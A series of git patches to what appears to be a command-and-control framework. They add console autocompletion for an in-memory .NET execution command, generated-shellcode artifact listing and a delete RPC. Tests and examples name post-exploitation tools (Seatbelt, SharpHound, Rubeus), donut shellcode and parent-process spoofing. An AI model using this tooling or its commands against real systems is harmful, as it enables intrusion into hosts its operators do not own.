assert(commands[0].args(0).artifact_filter().arch() == "any"); + assert(commands[0].args(0).artifact_filter().runtime() == "any"); + assert(commands[0].args(0).artifact_filter().name_contains() == ".exe"); assert(commands[0].DebugString().find(tempRoot.path().string()) == std::string::npos); } } // namespace From a410348f92b99d3ac9d592bdd95eadaba1eb29d0 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 16:53:41 +0200 Subject: [PATCH 31/82] Fix autocomplet --- C2Client/C2Client/ConsolePanel.py | 91 +++++++++++++++++++++++++--- C2Client/tests/test_console_panel.py | 18 ++++-- 2 files changed, 95 insertions(+), 14 deletions(-) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 7969c93..de261d7 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -138,6 +138,8 @@ def _merge_completion_entries(destination: list[tuple[str, list]], source: list[ def _add_example_completions(children: list[tuple[str, list]], command: Any) -> None: + if _command_has_artifact_args(command): + return command_name = getattr(command, "name", "") for example in getattr(command, "examples", []): suffix = _completion_suffix(command_name, example) @@ -151,6 +153,26 @@ def _arg_is_flag(arg: Any) -> bool: return arg_type == "flag" or name.startswith("-") +def _arg_name(arg: Any) -> str: + return str(getattr(arg, "name", "") or "").strip() + + +def _command_has_artifact_args(command: Any) -> bool: + return any(_arg_has_artifact_filter(arg) for arg in getattr(command, "args", [])) + + +def _flag_is_context_only(arg: Any) -> bool: + return _arg_name(arg) in {"--method"} + + +def _source_flag_args(args: list[Any]) -> list[Any]: + return [ + arg + for arg in args + if _arg_is_flag(arg) and _arg_name(arg) not in {"--mode", "--method"} + ] + + def _argument_artifact_completion_values(artifact: Any) -> list[str]: return _dedupe_values([ str(getattr(artifact, "name", "") or "").strip(), @@ -158,15 +180,71 @@ def _argument_artifact_completion_values(artifact: Any) -> list[str]: ]) +def _artifact_value_continuations(arg: Any) -> list[str]: + name = _arg_name(arg) + if name == "--donut-exe": + return ["--"] + if name == "--donut-dll": + return ["--method"] + return [] + + def _add_artifact_completions( children: list[tuple[str, list]], grpcClient: Any, arg: Any, session: Any | None, ) -> None: + continuations = _artifact_value_continuations(arg) for artifact in _load_artifacts_for_arg(grpcClient, arg, session): for value in _argument_artifact_completion_values(artifact): _add_completion_value(children, value) + artifact_entry = _find_entry(children, value) + if artifact_entry is not None: + for continuation in continuations: + _add_completion_value(artifact_entry[1], continuation) + + +def _build_flag_entries( + args: list[Any], + grpcClient: Any = None, + session: Any | None = None, + *, + include_context_only: bool = False, +) -> list[tuple[str, list]]: + entries: list[tuple[str, list]] = [] + for arg in args: + name = _arg_name(arg) + if not _arg_is_flag(arg) or not name: + continue + if not include_context_only and _flag_is_context_only(arg): + continue + + _add_completion_path(entries, [name]) + flag_entry = _find_entry(entries, name) + if flag_entry is None: + continue + for value in getattr(arg, "values", []): + _add_completion_value(flag_entry[1], value) + _add_artifact_completions(flag_entry[1], grpcClient, arg, session) + return entries + + +def _add_mode_value_flag_completions( + entries: list[tuple[str, list]], + args: list[Any], + grpcClient: Any, + session: Any | None, +) -> None: + mode_entry = _find_entry(entries, "--mode") + if mode_entry is None: + return + + source_flag_entries = _build_flag_entries(_source_flag_args(args), grpcClient, session) + if not source_flag_entries: + return + for mode_value, children in mode_entry[1]: + _merge_completion_entries(children, source_flag_entries) def _add_arg_completions( @@ -176,18 +254,13 @@ def _add_arg_completions( session: Any | None = None, ) -> None: args = list(getattr(command, "args", [])) + flag_entries = _build_flag_entries(args, grpcClient, session) + _merge_completion_entries(children, flag_entries) + _add_mode_value_flag_completions(children, args, grpcClient, session) + first_positional_done = False for arg in args: - name = str(getattr(arg, "name", "") or "").strip() if _arg_is_flag(arg): - if not name: - continue - _add_completion_path(children, [name]) - flag_entry = _find_entry(children, name) - if flag_entry is not None: - for value in getattr(arg, "values", []): - _add_completion_value(flag_entry[1], value) - _add_artifact_completions(flag_entry[1], grpcClient, arg, session) continue if first_positional_done: diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index e520b21..4f648df 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -373,6 +373,7 @@ def listArtifacts(self, query): examples=[ "assemblyExec --mode process --raw shellcode.bin", "assemblyExec --mode thread --donut-exe Seatbelt.exe -- -group=system", + "assemblyExec --mode process --donut-dll Tool.dll --method EntryPoint -- arg1 arg2", ], args=[ SimpleNamespace(name="--mode", type="flag", values=["thread", "process", "processWithSpoofedParent"]), @@ -390,15 +391,22 @@ def listArtifacts(self, query): assert ("thread", []) not in assembly_children assert ("process", []) not in assembly_children assert ("--raw", []) in assembly_children + assert ("--method", []) not in assembly_children donut_exe_children = _completion_children(assembly_children, "--donut-exe") - assert ("windows/Seatbelt.exe", []) in donut_exe_children - assert ("SharpHound.exe", []) in donut_exe_children + assert _completion_children(donut_exe_children, "windows/Seatbelt.exe") + assert _completion_children(donut_exe_children, "SharpHound.exe") + assert ("--", []) in _completion_children(donut_exe_children, "SharpHound.exe") donut_dll_children = _completion_children(assembly_children, "--donut-dll") - assert ("Tools/Example.dll", []) in donut_dll_children + assert _completion_children(donut_dll_children, "Tools/Example.dll") + assert ("Tool.dll", []) not in donut_dll_children + assert ("--method", []) in _completion_children(donut_dll_children, "Tools/Example.dll") mode_children = _completion_children(assembly_children, "--mode") - assert _completion_children(mode_children, "thread") - assert ("process", [("--raw", [("shellcode.bin", [])])]) in mode_children + mode_process_children = _completion_children(mode_children, "process") + assert ("--raw", []) in mode_process_children + assert _completion_children(mode_process_children, "--donut-exe") + assert _completion_children(mode_process_children, "--donut-dll") + assert ("Tool.dll", []) not in _completion_children(mode_process_children, "--donut-dll") assert grpc.queries[0].category == "tool" assert grpc.queries[0].scope == "server" assert grpc.queries[0].target == "teamserver" From 97cf6387086874010b23d6f51859e96a6f990b76 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Tue, 5 May 2026 18:29:08 +0200 Subject: [PATCH 32/82] artifacts: add generated artifact management --- C2Client/C2Client/ArtifactPanel.py | 122 +++++++++++++++--- C2Client/C2Client/grpcClient.py | 9 ++ C2Client/tests/test_artifact_panel.py | 100 ++++++++++++-- protocol/TeamServerApi.proto | 7 + teamServer/teamServer/TeamServer.cpp | 8 ++ teamServer/teamServer/TeamServer.hpp | 1 + .../teamServer/TeamServerArtifactCatalog.cpp | 87 +++++++++++++ .../teamServer/TeamServerArtifactCatalog.hpp | 1 + .../teamServer/TeamServerArtifactService.cpp | 17 +++ .../teamServer/TeamServerArtifactService.hpp | 3 + .../tests/TeamServerArtifactCatalogTests.cpp | 80 ++++++++++++ 11 files changed, 407 insertions(+), 28 deletions(-) diff --git a/C2Client/C2Client/ArtifactPanel.py b/C2Client/C2Client/ArtifactPanel.py index 799bc9d..e034493 100644 --- a/C2Client/C2Client/ArtifactPanel.py +++ b/C2Client/C2Client/ArtifactPanel.py @@ -11,6 +11,7 @@ QHeaderView, QLabel, QLineEdit, + QMessageBox, QPushButton, QSizePolicy, QTableWidget, @@ -27,22 +28,24 @@ ArtifactTabTitle = "Artifacts" ALL_FILTER = "All" -CATEGORY_FILTERS = [ALL_FILTER, "module", "beacon", "tool", "script"] +CATEGORY_FILTERS = [ALL_FILTER, "module", "beacon", "tool", "script", "payload"] +SCOPE_FILTERS = [ALL_FILTER, "generated", "beacon", "implant", "teamserver", "server", "operator", "any"] TARGET_FILTERS = [ALL_FILTER, "teamserver", "beacon", "listener", "operator", "any"] PLATFORM_FILTERS = [ALL_FILTER, "windows", "linux", "server", "any"] ARCH_FILTERS = [ALL_FILTER, "x64", "x86", "arm64", "any"] RUNTIME_FILTERS = [ALL_FILTER, "native", "python", "dotnet", "powershell", "bof", "shellcode", "text", "archive", "any"] COL_CATEGORY = 0 -COL_TARGET = 1 -COL_NAME = 2 -COL_PLATFORM = 3 -COL_ARCH = 4 -COL_RUNTIME = 5 -COL_FORMAT = 6 -COL_SIZE = 7 -COL_SHA256 = 8 -COL_SOURCE = 9 +COL_SCOPE = 1 +COL_TARGET = 2 +COL_NAME = 3 +COL_PLATFORM = 4 +COL_ARCH = 5 +COL_RUNTIME = 6 +COL_FORMAT = 7 +COL_SIZE = 8 +COL_SHA256 = 9 +COL_SOURCE = 10 def _text(value: Any) -> str: @@ -82,7 +85,7 @@ def format_size(size: Any) -> str: class Artifacts(QWidget): - COLUMN_WIDTHS = [82, 96, 220, 86, 66, 92, 70, 86, 112, 88] + COLUMN_WIDTHS = [82, 92, 92, 220, 86, 66, 92, 70, 86, 112, 88] STRETCH_COLUMN = COL_NAME def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: @@ -99,6 +102,7 @@ def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: toolbar.setSpacing(6) self.categoryFilter = self.createFilter(CATEGORY_FILTERS, "Filter by artifact category.") + self.scopeFilter = self.createFilter(SCOPE_FILTERS, "Filter by artifact scope.") self.targetFilter = self.createFilter(TARGET_FILTERS, "Filter by execution or ownership target.") self.platformFilter = self.createFilter(PLATFORM_FILTERS, "Filter by target platform.") self.archFilter = self.createFilter(ARCH_FILTERS, "Filter by target architecture.") @@ -108,13 +112,19 @@ def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: self.searchInput.setToolTip("Filter artifacts by name.") self.searchInput.returnPressed.connect(self.refreshArtifacts) + self.generatedButton = self.createToolbarButton("Generated", "Show generated shellcode artifacts.", width=84) + self.generatedButton.clicked.connect(self.showGeneratedShellcodes) self.refreshButton = self.createToolbarButton("Refresh", "Refresh artifact catalog.", width=72) self.refreshButton.clicked.connect(self.refreshArtifacts) self.copyIdButton = self.createToolbarButton("Copy ID", "Copy selected artifact id.", width=72) self.copyIdButton.clicked.connect(self.copySelectedArtifactId) + self.deleteButton = self.createToolbarButton("Delete", "Delete selected generated artifact.", width=72) + self.deleteButton.clicked.connect(self.deleteSelectedGeneratedArtifact) toolbar.addWidget(QLabel("Category")) toolbar.addWidget(self.categoryFilter) + toolbar.addWidget(QLabel("Scope")) + toolbar.addWidget(self.scopeFilter) toolbar.addWidget(QLabel("Target")) toolbar.addWidget(self.targetFilter) toolbar.addWidget(QLabel("Platform")) @@ -124,8 +134,10 @@ def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: toolbar.addWidget(QLabel("Runtime")) toolbar.addWidget(self.runtimeFilter) toolbar.addWidget(self.searchInput, 1) + toolbar.addWidget(self.generatedButton) toolbar.addWidget(self.refreshButton) toolbar.addWidget(self.copyIdButton) + toolbar.addWidget(self.deleteButton) self.layout.addLayout(toolbar) self.statusLabel = QLabel("") @@ -140,7 +152,7 @@ def __init__(self, parent: QWidget | None, grpcClient: Any) -> None: self.artifactTable.setSelectionMode(QAbstractItemView.SelectionMode.SingleSelection) self.artifactTable.setHorizontalScrollMode(QAbstractItemView.ScrollMode.ScrollPerPixel) self.artifactTable.setRowCount(0) - self.artifactTable.setColumnCount(10) + self.artifactTable.setColumnCount(11) self.artifactTable.verticalHeader().setVisible(False) self.artifactTable.itemSelectionChanged.connect(self.updateActionButtons) self.configureTableColumns() @@ -182,6 +194,10 @@ def buildQuery(self) -> Any: if category != ALL_FILTER: query.category = category + scope = self.scopeFilter.currentText() + if scope != ALL_FILTER: + query.scope = scope + platform = self.platformFilter.currentText() if platform != ALL_FILTER: query.platform = platform @@ -204,6 +220,16 @@ def buildQuery(self) -> Any: return query + def showGeneratedShellcodes(self) -> None: + self.categoryFilter.setCurrentText("payload") + self.scopeFilter.setCurrentText("generated") + self.targetFilter.setCurrentText(ALL_FILTER) + self.platformFilter.setCurrentText(ALL_FILTER) + self.archFilter.setCurrentText(ALL_FILTER) + self.runtimeFilter.setCurrentText("shellcode") + self.searchInput.clear() + self.refreshArtifacts() + def refreshArtifacts(self) -> None: try: self.artifacts = list(self.grpcClient.listArtifacts(self.buildQuery())) @@ -227,7 +253,7 @@ def refreshArtifacts(self) -> None: def printArtifacts(self) -> None: self.artifactTable.setRowCount(len(self.artifacts)) self.artifactTable.setHorizontalHeaderLabels( - ["Category", "Target", "Name", "Platform", "Arch", "Runtime", "Format", "Size", "SHA256", "Source"] + ["Category", "Scope", "Target", "Name", "Platform", "Arch", "Runtime", "Format", "Size", "SHA256", "Source"] ) for row, artifact in enumerate(self.artifacts): @@ -239,7 +265,8 @@ def printArtifacts(self) -> None: values = [ _text(_field(artifact, "category")), - _text(_field(artifact, "target")) or _text(_field(artifact, "scope")), + _text(_field(artifact, "scope")), + _text(_field(artifact, "target")), name, _text(_field(artifact, "platform")), _text(_field(artifact, "arch")), @@ -255,6 +282,10 @@ def printArtifacts(self) -> None: f"Artifact ID: {artifact_id}" if artifact_id else "", f"Name: {name}" if name else "", f"Display: {display_name}" if display_name and display_name != name else "", + f"Scope: {_text(_field(artifact, 'scope'))}" if _text(_field(artifact, "scope")) else "", + f"Target: {_text(_field(artifact, 'target'))}" if _text(_field(artifact, "target")) else "", + f"Source: {_text(_field(artifact, 'source'))}" if _text(_field(artifact, "source")) else "", + f"Size: {format_size(_field(artifact, 'size', 0))}", f"SHA256: {full_hash}" if full_hash else "", description, ) @@ -271,16 +302,25 @@ def printArtifacts(self) -> None: self.updateActionButtons() - def selectedArtifactId(self) -> str: + def selectedArtifact(self) -> Any | None: selected_rows = self.artifactTable.selectionModel().selectedRows() if self.artifactTable.selectionModel() else [] if not selected_rows: - return "" + return None row = selected_rows[0].row() - item = self.artifactTable.item(row, COL_NAME) or self.artifactTable.item(row, COL_CATEGORY) - if item is None: + if row < 0 or row >= len(self.artifacts): + return None + return self.artifacts[row] + + def selectedArtifactId(self) -> str: + artifact = self.selectedArtifact() + if artifact is None: return "" - return _text(item.data(Qt.ItemDataRole.UserRole)) + + return _text(_field(artifact, "artifact_id")) + + def isGeneratedArtifact(self, artifact: Any | None) -> bool: + return artifact is not None and _text(_field(artifact, "scope")).lower() == "generated" def copySelectedArtifactId(self) -> None: artifact_id = self.selectedArtifactId() @@ -291,5 +331,47 @@ def copySelectedArtifactId(self) -> None: QApplication.clipboard().setText(artifact_id) apply_status(self.statusLabel, "Artifacts: artifact ID copied.", StatusKind.SUCCESS) + def deleteSelectedGeneratedArtifact(self) -> None: + artifact = self.selectedArtifact() + artifact_id = self.selectedArtifactId() + if not artifact_id: + apply_status(self.statusLabel, "Artifacts: select an artifact first.", StatusKind.ERROR) + return + if not self.isGeneratedArtifact(artifact): + apply_status(self.statusLabel, "Artifacts: only generated artifacts can be deleted.", StatusKind.ERROR) + return + + name = _text(_field(artifact, "display_name")) or _text(_field(artifact, "name")) or artifact_id + answer = QMessageBox.question( + self, + "Delete generated artifact", + f"Delete generated artifact {name}?", + QMessageBox.StandardButton.Yes | QMessageBox.StandardButton.No, + QMessageBox.StandardButton.No, + ) + if answer != QMessageBox.StandardButton.Yes: + return + + try: + response = self.grpcClient.deleteGeneratedArtifact(artifact_id) + except Exception as exc: + apply_status( + self.statusLabel, + f"Artifacts: {compact_message(exc, limit=120)}", + StatusKind.ERROR, + ) + return + + if getattr(response, "status", TeamServerApi_pb2.KO) != TeamServerApi_pb2.OK: + message = _text(getattr(response, "message", "")) or "delete failed" + apply_status(self.statusLabel, f"Artifacts: {compact_message(message, limit=120)}", StatusKind.ERROR) + return + + self.refreshArtifacts() + message = _text(getattr(response, "message", "")) or "generated artifact deleted" + apply_status(self.statusLabel, f"Artifacts: {message}", StatusKind.SUCCESS) + def updateActionButtons(self) -> None: - self.copyIdButton.setEnabled(bool(self.selectedArtifactId())) + selected_artifact = self.selectedArtifact() + self.copyIdButton.setEnabled(bool(selected_artifact)) + self.deleteButton.setEnabled(self.isGeneratedArtifact(selected_artifact)) diff --git a/C2Client/C2Client/grpcClient.py b/C2Client/C2Client/grpcClient.py index def6a86..82cd865 100644 --- a/C2Client/C2Client/grpcClient.py +++ b/C2Client/C2Client/grpcClient.py @@ -229,6 +229,15 @@ def listArtifacts(self, query: Optional[Any] = None) -> Iterable[Any]: query = TeamServerApi_pb2.ArtifactQuery() return self._stream_rpc("ListArtifacts", lambda: self.stub.ListArtifacts(query, metadata=self.metadata)) + def deleteGeneratedArtifact(self, artifact_id: str) -> Any: + """Delete a generated artifact by id.""" + + selector = TeamServerApi_pb2.ArtifactSelector(artifact_id=artifact_id) + return self._unary_rpc( + "DeleteGeneratedArtifact", + lambda: self.stub.DeleteGeneratedArtifact(selector, metadata=self.metadata), + ) + def listCommands(self, query: Optional[Any] = None) -> Iterable[Any]: """Return command specs exposed by the TeamServer catalog.""" diff --git a/C2Client/tests/test_artifact_panel.py b/C2Client/tests/test_artifact_panel.py index 44bcc63..dc3fabb 100644 --- a/C2Client/tests/test_artifact_panel.py +++ b/C2Client/tests/test_artifact_panel.py @@ -1,8 +1,9 @@ from types import SimpleNamespace -from PyQt6.QtWidgets import QApplication, QWidget +from PyQt6.QtWidgets import QApplication, QMessageBox, QWidget from C2Client.ArtifactPanel import Artifacts, format_size +from C2Client.grpcClient import TeamServerApi_pb2 class FakeGrpc: @@ -41,11 +42,59 @@ def __init__(self): sha256="b" * 64, description="Startup hook", ), + SimpleNamespace( + artifact_id="artifact-generated-1", + name="9d4c1e5f0a3b-Rubeus.exe.bin", + display_name="Rubeus.exe.bin", + category="payload", + scope="generated", + target="beacon", + platform="windows", + arch="x64", + runtime="shellcode", + format="bin", + source="donut", + size=4096, + sha256="c" * 64, + description="Generated shellcode for assemblyExec.", + ), ] + self.deleted = [] def listArtifacts(self, query): self.queries.append(query) - return iter(self.artifacts) + + def matches(artifact, field): + expected = getattr(query, field, "") + if not expected: + return True + actual = getattr(artifact, field, "") + return actual == expected or actual == "any" + + def name_matches(artifact): + expected = getattr(query, "name_contains", "") + if not expected: + return True + return expected.lower() in getattr(artifact, "name", "").lower() + + return iter([ + artifact for artifact in self.artifacts + if matches(artifact, "category") + and matches(artifact, "scope") + and matches(artifact, "target") + and matches(artifact, "platform") + and matches(artifact, "arch") + and matches(artifact, "runtime") + and name_matches(artifact) + ]) + + def deleteGeneratedArtifact(self, artifact_id): + self.deleted.append(artifact_id) + self.artifacts = [ + artifact for artifact in self.artifacts + if artifact.artifact_id != artifact_id + ] + return SimpleNamespace(status=TeamServerApi_pb2.OK, message="Generated artifact deleted.") class FailingGrpc: @@ -66,16 +115,18 @@ def test_artifacts_panel_lists_filters_and_copies_id(qtbot): panel = Artifacts(parent, grpc) qtbot.addWidget(panel) - assert panel.artifactTable.rowCount() == 2 + assert panel.artifactTable.rowCount() == 3 assert panel.artifactTable.item(0, 0).text() == "module" assert panel.artifactTable.item(0, 1).text() == "beacon" - assert panel.artifactTable.item(0, 2).text() == "winmod64.dll" - assert panel.artifactTable.item(0, 5).text() == "native" - assert panel.artifactTable.item(0, 7).text() == "2.0 KB" - assert panel.artifactTable.item(0, 8).text() == "aaaaaaaaaaaa" - assert "Artifact ID: artifact-module-1" in panel.artifactTable.item(0, 2).toolTip() + assert panel.artifactTable.item(0, 2).text() == "beacon" + assert panel.artifactTable.item(0, 3).text() == "winmod64.dll" + assert panel.artifactTable.item(0, 6).text() == "native" + assert panel.artifactTable.item(0, 8).text() == "2.0 KB" + assert panel.artifactTable.item(0, 9).text() == "aaaaaaaaaaaa" + assert "Artifact ID: artifact-module-1" in panel.artifactTable.item(0, 3).toolTip() panel.categoryFilter.setCurrentText("module") + panel.scopeFilter.setCurrentText("beacon") panel.targetFilter.setCurrentText("beacon") panel.platformFilter.setCurrentText("windows") panel.archFilter.setCurrentText("x64") @@ -85,6 +136,7 @@ def test_artifacts_panel_lists_filters_and_copies_id(qtbot): query = grpc.queries[-1] assert query.category == "module" + assert query.scope == "beacon" assert query.target == "beacon" assert query.platform == "windows" assert query.arch == "x64" @@ -96,6 +148,38 @@ def test_artifacts_panel_lists_filters_and_copies_id(qtbot): assert QApplication.clipboard().text() == "artifact-module-1" assert panel.statusLabel.text() == "Artifacts: artifact ID copied." + assert not panel.deleteButton.isEnabled() + + +def test_artifacts_panel_filters_generated_shellcodes_and_deletes(qtbot, monkeypatch): + grpc = FakeGrpc() + parent = QWidget() + panel = Artifacts(parent, grpc) + qtbot.addWidget(panel) + + panel.generatedButton.click() + + query = grpc.queries[-1] + assert query.category == "payload" + assert query.scope == "generated" + assert query.runtime == "shellcode" + assert panel.artifactTable.rowCount() == 1 + assert panel.artifactTable.item(0, 1).text() == "generated" + assert panel.artifactTable.item(0, 10).text() == "donut" + assert "SHA256: " + ("c" * 64) in panel.artifactTable.item(0, 3).toolTip() + + monkeypatch.setattr( + QMessageBox, + "question", + lambda *args, **kwargs: QMessageBox.StandardButton.Yes, + ) + panel.artifactTable.selectRow(0) + assert panel.deleteButton.isEnabled() + panel.deleteButton.click() + + assert grpc.deleted == ["artifact-generated-1"] + assert panel.artifactTable.rowCount() == 0 + assert panel.statusLabel.text() == "Artifacts: Generated artifact deleted." def test_artifacts_panel_reports_refresh_errors(qtbot): diff --git a/protocol/TeamServerApi.proto b/protocol/TeamServerApi.proto index 1408273..a096c70 100644 --- a/protocol/TeamServerApi.proto +++ b/protocol/TeamServerApi.proto @@ -15,6 +15,7 @@ service TeamServerApi rpc StopSession(SessionSelector) returns (OperationAck) {} rpc ListArtifacts(ArtifactQuery) returns (stream ArtifactSummary) {} + rpc DeleteGeneratedArtifact(ArtifactSelector) returns (OperationAck) {} rpc ListCommands(CommandQuery) returns (stream CommandSpec) {} rpc ListModules(SessionSelector) returns (stream LoadedModule) {} @@ -136,6 +137,12 @@ message ArtifactSummary } +message ArtifactSelector +{ + string artifact_id = 1; +} + + message CommandQuery { string kind = 1; diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index 313e959..545073b 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -196,6 +196,14 @@ grpc::Status TeamServer::ListArtifacts(grpc::ServerContext* context, const teams { return writer->Write(artifact); }); } +grpc::Status TeamServer::DeleteGeneratedArtifact(grpc::ServerContext* context, const teamserverapi::ArtifactSelector* selector, teamserverapi::OperationAck* response) +{ + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + return m_artifactService->deleteGeneratedArtifact(*selector, response); +} + grpc::Status TeamServer::ListCommands(grpc::ServerContext* context, const teamserverapi::CommandQuery* query, grpc::ServerWriter* writer) { auto authStatus = ensureAuthenticated(context); diff --git a/teamServer/teamServer/TeamServer.hpp b/teamServer/teamServer/TeamServer.hpp index 4bc203b..581d5f8 100644 --- a/teamServer/teamServer/TeamServer.hpp +++ b/teamServer/teamServer/TeamServer.hpp @@ -58,6 +58,7 @@ class TeamServer final : public teamserverapi::TeamServerApi::Service grpc::Status StopSession(grpc::ServerContext* context, const teamserverapi::SessionSelector* sessionToStop, teamserverapi::OperationAck* response) override; grpc::Status ListArtifacts(grpc::ServerContext* context, const teamserverapi::ArtifactQuery* query, grpc::ServerWriter* writer) override; + grpc::Status DeleteGeneratedArtifact(grpc::ServerContext* context, const teamserverapi::ArtifactSelector* selector, teamserverapi::OperationAck* response) override; grpc::Status ListCommands(grpc::ServerContext* context, const teamserverapi::CommandQuery* query, grpc::ServerWriter* writer) override; grpc::Status ListModules(grpc::ServerContext* context, const teamserverapi::SessionSelector* session, grpc::ServerWriter* writer) override; diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.cpp b/teamServer/teamServer/TeamServerArtifactCatalog.cpp index 2df1ab1..6ebd3f1 100644 --- a/teamServer/teamServer/TeamServerArtifactCatalog.cpp +++ b/teamServer/teamServer/TeamServerArtifactCatalog.cpp @@ -154,6 +154,27 @@ bool hasHiddenComponent(const fs::path& relativePath) return false; } +bool isPathWithinRoot(const fs::path& path, const fs::path& root) +{ + std::error_code ec; + const fs::path canonicalRoot = fs::weakly_canonical(root, ec); + if (ec) + return false; + + const fs::path canonicalPath = fs::weakly_canonical(path, ec); + if (ec) + return false; + + auto rootIt = canonicalRoot.begin(); + auto pathIt = canonicalPath.begin(); + for (; rootIt != canonicalRoot.end(); ++rootIt, ++pathIt) + { + if (pathIt == canonicalPath.end() || *pathIt != *rootIt) + return false; + } + return true; +} + std::string detectFormat(const fs::path& path) { std::string extension = path.extension().string(); @@ -282,6 +303,8 @@ void collectGeneratedArtifacts( continue; const fs::path payloadPath = sidecarPath.parent_path() / jsonString(metadata, "file"); + if (!isPathWithinRoot(payloadPath, root)) + continue; if (!fs::exists(payloadPath, ec) || !fs::is_regular_file(payloadPath, ec)) continue; const std::string contentHash = sha256File(payloadPath); @@ -377,3 +400,67 @@ std::vector TeamServerArtifactCatalog::listArtifacts(c std::sort(filteredArtifacts.begin(), filteredArtifacts.end(), sortArtifacts); return filteredArtifacts; } + +bool TeamServerArtifactCatalog::deleteGeneratedArtifact(const std::string& artifactId, std::string& message) const +{ + if (artifactId.empty()) + { + message = "Missing artifact id."; + return false; + } + + std::vector generatedArtifacts; + collectGeneratedArtifacts(m_runtimeConfig.generatedArtifactsDirectoryPath, generatedArtifacts); + + const auto it = std::find_if( + generatedArtifacts.begin(), + generatedArtifacts.end(), + [&](const TeamServerArtifactRecord& artifact) + { + return artifact.artifactId == artifactId; + }); + if (it == generatedArtifacts.end()) + { + message = "Generated artifact not found."; + return false; + } + + if (it->scope != "generated") + { + message = "Only generated artifacts can be deleted."; + return false; + } + + const fs::path root = m_runtimeConfig.generatedArtifactsDirectoryPath; + const fs::path payloadPath = it->internalPath; + const fs::path sidecarPath = it->internalPath + ".artifact.json"; + if (!isPathWithinRoot(payloadPath, root) || !isPathWithinRoot(sidecarPath, root)) + { + message = "Generated artifact path is outside the generated artifact root."; + return false; + } + + std::error_code ec; + const bool removedPayload = fs::remove(payloadPath, ec); + if (ec) + { + message = "Generated artifact payload could not be deleted: " + ec.message(); + return false; + } + + const bool removedSidecar = fs::remove(sidecarPath, ec); + if (ec) + { + message = "Generated artifact metadata could not be deleted: " + ec.message(); + return false; + } + + if (!removedPayload && !removedSidecar) + { + message = "Generated artifact files were already missing."; + return false; + } + + message = "Generated artifact deleted."; + return true; +} diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.hpp b/teamServer/teamServer/TeamServerArtifactCatalog.hpp index bfd7681..243ea3c 100644 --- a/teamServer/teamServer/TeamServerArtifactCatalog.hpp +++ b/teamServer/teamServer/TeamServerArtifactCatalog.hpp @@ -43,6 +43,7 @@ class TeamServerArtifactCatalog explicit TeamServerArtifactCatalog(TeamServerRuntimeConfig runtimeConfig); std::vector listArtifacts(const TeamServerArtifactQuery& query = {}) const; + bool deleteGeneratedArtifact(const std::string& artifactId, std::string& message) const; private: TeamServerRuntimeConfig m_runtimeConfig; diff --git a/teamServer/teamServer/TeamServerArtifactService.cpp b/teamServer/teamServer/TeamServerArtifactService.cpp index ddaadc5..35fa4cf 100644 --- a/teamServer/teamServer/TeamServerArtifactService.cpp +++ b/teamServer/teamServer/TeamServerArtifactService.cpp @@ -37,6 +37,23 @@ grpc::Status TeamServerArtifactService::listArtifacts( return grpc::Status::OK; } +grpc::Status TeamServerArtifactService::deleteGeneratedArtifact( + const teamserverapi::ArtifactSelector& selector, + teamserverapi::OperationAck* response) const +{ + std::string message; + const bool deleted = m_catalog.deleteGeneratedArtifact(selector.artifact_id(), message); + + response->set_status(deleted ? teamserverapi::OK : teamserverapi::KO); + response->set_message(message); + if (deleted) + m_logger->info("Deleted generated artifact {0}", selector.artifact_id()); + else + m_logger->warn("Delete generated artifact failed for {0}: {1}", selector.artifact_id(), message); + + return grpc::Status::OK; +} + teamserverapi::ArtifactSummary TeamServerArtifactService::toProto(const TeamServerArtifactRecord& artifact) { teamserverapi::ArtifactSummary summary; diff --git a/teamServer/teamServer/TeamServerArtifactService.hpp b/teamServer/teamServer/TeamServerArtifactService.hpp index ecb0249..131df85 100644 --- a/teamServer/teamServer/TeamServerArtifactService.hpp +++ b/teamServer/teamServer/TeamServerArtifactService.hpp @@ -21,6 +21,9 @@ class TeamServerArtifactService grpc::Status listArtifacts( const teamserverapi::ArtifactQuery& query, const ArtifactWriter& writer) const; + grpc::Status deleteGeneratedArtifact( + const teamserverapi::ArtifactSelector& selector, + teamserverapi::OperationAck* response) const; private: static teamserverapi::ArtifactSummary toProto(const TeamServerArtifactRecord& artifact); diff --git a/teamServer/tests/TeamServerArtifactCatalogTests.cpp b/teamServer/tests/TeamServerArtifactCatalogTests.cpp index 4320e65..c7ae58e 100644 --- a/teamServer/tests/TeamServerArtifactCatalogTests.cpp +++ b/teamServer/tests/TeamServerArtifactCatalogTests.cpp @@ -9,6 +9,7 @@ #include "TeamServerArtifactCatalog.hpp" #include "TeamServerArtifactService.hpp" +#include "TeamServerGeneratedArtifactStore.hpp" #include "spdlog/logger.h" namespace fs = std::filesystem; @@ -63,6 +64,7 @@ TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) runtimeConfig.windowsBeaconsDirectoryPath = (root / "WindowsBeacons").string(); runtimeConfig.toolsDirectoryPath = (root / "Tools").string(); runtimeConfig.scriptsDirectoryPath = (root / "Scripts").string(); + runtimeConfig.generatedArtifactsDirectoryPath = (root / "GeneratedArtifacts").string(); fs::create_directories(runtimeConfig.teamServerModulesDirectoryPath); fs::create_directories(runtimeConfig.linuxModulesDirectoryPath); @@ -71,6 +73,7 @@ TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) fs::create_directories(runtimeConfig.windowsBeaconsDirectoryPath); fs::create_directories(runtimeConfig.toolsDirectoryPath); fs::create_directories(runtimeConfig.scriptsDirectoryPath); + fs::create_directories(runtimeConfig.generatedArtifactsDirectoryPath); for (const std::string& arch : runtimeConfig.supportedWindowsArchs) { 